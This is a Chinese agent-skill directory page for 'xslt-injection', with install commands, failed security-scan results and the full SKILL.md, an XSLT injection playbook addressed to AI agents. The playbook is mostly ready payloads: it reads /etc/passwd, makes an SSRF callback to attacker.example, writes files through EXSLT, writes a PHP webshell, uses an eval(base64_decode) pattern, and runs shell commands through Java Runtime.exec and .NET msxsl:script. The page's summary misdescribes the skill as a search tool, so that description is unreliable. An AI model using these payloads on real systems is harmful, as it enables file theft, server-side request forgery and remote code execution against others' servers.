Token导航 LogoToken导航TokenDH.com
研究检索执行命令github未标认证来源可访问许可证需确认审计异常

xslt-injectionxslt 注入

Agent Skill

xslt-injection 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

6,821

周安装

293

GitHub Stars

349

下载量

2,391
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:xslt-injection(xslt 注入)
来源仓库:https://github.com/yaklang/hack-skills
仓库路径:skills/xslt-injection
安装命令:
npx skills add https://github.com/yaklang/hack-skills --skill xslt-injection
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/yaklang/hack-skills --skill xslt-injection

简介

用于查找、检索和筛选相关信息。适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

  • 适合根据关键词或任务场景快速定位候选结果。
  • 通过 npx skills add 命令从指定 GitHub 仓库安装使用。
  • 需确认权限范围和维护状态,注意是否触发联网或文件读写操作。
  • xslt-injection 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

SKILL: XSLT Injection — Testing Playbook

AI LOAD INSTRUCTION: XSLT injection occurs when attacker-influenced XSLT is compiled/executed server-side. Map the processor family first (Java/.NET/PHP/libxslt). Then chain document(), external entities, EXSLT, or embedded script/extension functions per platform. Authorized testing only; many payloads are destructive. Routing note: if input is generic XML parsing and may not flow through XSLT, cross-load xxe-xml-external-entity; if you care about outbound document(http:...) requests, cross-load ssrf-server-side-request-forgery.

0. QUICK START

  1. Find sinks: parameters named xslt, stylesheet, transform, template, SOAP stylesheets, report generators, XML→HTML converters.
  2. Probe reflection: inject unique namespace or xsl:value-of select="'marker'" — if output changes, execution likely.
  3. Fingerprint processor (§1).
  4. Escalate by family: document() / XXE (§2–3), EXSLT write (§4), PHP (§5), Java (§6), .NET (§7).

Quick probe (harmless marker):

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

1. VENDOR DETECTION

Use standard system-property reads inside expressions:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>
version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>
vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>

Typical fingerprints (examples, not exhaustive):

SignalPossible engine
Apache Software Foundation / Xalan markersXalan (Java)
Saxonica / Saxon URI hintsSaxon
libxslt / GNOME stacklibxslt (C, often via PHP, nginx modules, etc.)
Microsoft URLs / MSXML stringsMSXML /.NET XSLT stack

Use results to select §5–§7 paths.


2. EXTERNAL ENTITY (XXE VIA XSLT)

XSLT 1.0 allows DTD-based entities in the stylesheet or source when the parser permits DTDs:

<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>

Note: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3).


3. FILE READ VIA document()

document() loads another XML document into a node-set; local files often parse as XML (noisy) but errors and partial reads may still leak.

Unix example:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Windows example:

<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>

SSRF / out-of-band:

<xsl:copy-of select="document('http://attacker.example/ssrf')"/>

Chain with error-based or timing observations if inline data does not return to the client.


4. FILE WRITE VIA EXSLT (exslt:document)

When EXSLT common extension is enabled:

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

Impact: arbitrary file write where path permissions allow — often RCE via webroot, cron paths, or inclusion points.


5. RCE VIA PHP (php:function)

Requires PHP XSLT with registerPHPFunctions()-style exposure (application misconfiguration). Namespace:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>

Directory listing:

<xsl:value-of select="php:function('scandir','.')"/>

Dangerous patterns (historical abuses — verify only in lab):

  • php:function('assert', string($payload)) — environment-dependent, often deprecated/removed; chained with include/require in old apps.
  • php:function('file_put_contents','/var/www/shell.php','<?php...')webshell write when callable is whitelisted recklessly.
  • preg_replace with /e modifier (legacy PHP) — the replacement string is evaluated as PHP; metasploit-style chains often wrapped base64_decode of a blob to smuggle a meterpreter (or other) staged payload. Removed in PHP 7+; only relevant for ancient runtimes.

Legacy PHP equivalent (illustrates the /e + base64 pattern — lab only):

preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);

Surface from XSLT only if php:function exposes preg_replace to user stylesheets (rare + critical misconfiguration).

Tester note: modern PHP hardening often blocks these; absence of RCE does not remove document() / XXE.


6. RCE VIA JAVA (SAXON / XALAN EXTENSIONS)

Java engines may expose extension functions mapping to static methods. Examples appear in historical advisories; exact syntax depends on version and extension binding.

Illustrative pattern (conceptual — adjust to permitted extension namespace and API):

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>

Saxon-style static Java integration (highly configuration-dependent):

Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')

Replace 192.0.2.1 with your lab listener / documentation IP (RFC 5737 TEST-NET).

Operational guidance: if extensions are disabled (common secure default), pivot to document(), SSRF, or deserialization elsewhere — not every XSLT endpoint runs with extensions on.


7. RCE VIA.NET (msxsl:script)

When Microsoft XSLT script blocks are allowed:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>

Default secure configs often disable scripts — treat this as when enabled behavior.


8. DECISION TREE

                    User influences XSLT or XML transform?
                                    |
                                   NO --> stop (out of scope)
                                    |
                                   YES
                                    |
                    +---------------+---------------+
                    |                               |
             output reflects                       no reflection
             injected logic?                    try blind channels
                    |                               |
                    v                               v
            system-property()                 errors, OOB, timing
            fingerprint vendor                      |
                    |                               |
        +-----------+-----------+                   |
        |           |           |                   |
      libxslt     Java        .NET              document()
        |           |           |                   |
    document()   Saxon/Xalan  msxsl:script?      SSRF/file
    EXSLT write  extensions?      |                   |
        |           |           C# Process         EXSLT?
        v           v           v                   v
    file R/W     rt/exec      cmd.exe /c         map evidence

Payloads All The Things (PAT) Note

The PayloadsAllTheThings project documents many injection classes; for XSLT, maintainer notes indicate no dedicated maintained tool section comparable to SQLi/XSS toolchains — exploitation is processor- and configuration-specific, driven by proxy/manual payloads and custom scripts. Plan time for local lab reproduction with the same engine/version as the target when possible.


Tooling (practical)

CategoryExamples
Proxy / manualBurp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors
XML/XSLT labMatch exact processor (PHP libxslt, Java Saxon version,.NET framework) in a VM
Out-of-bandCollaborator / private callback server for document('http://…')

No single universal scanner replaces version-specific behavior validation.


Related

  • xxe-xml-external-entity — DTD/entity hardening, generic XML parsers (../xxe-xml-external-entity/SKILL.md).
  • ssrf-server-side-request-forgery — when document(http:…) or entity URLs cause server fetches (../ssrf-server-side-request-forgery/SKILL.md).

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

35.95%
按下载量换算860

Claude

34.52%
按下载量换算825

Cursor

18.1%
按下载量换算433

Gemini CLI

9.36%
按下载量换算224

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/yaklang/hack-skills --skill xslt-injection 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills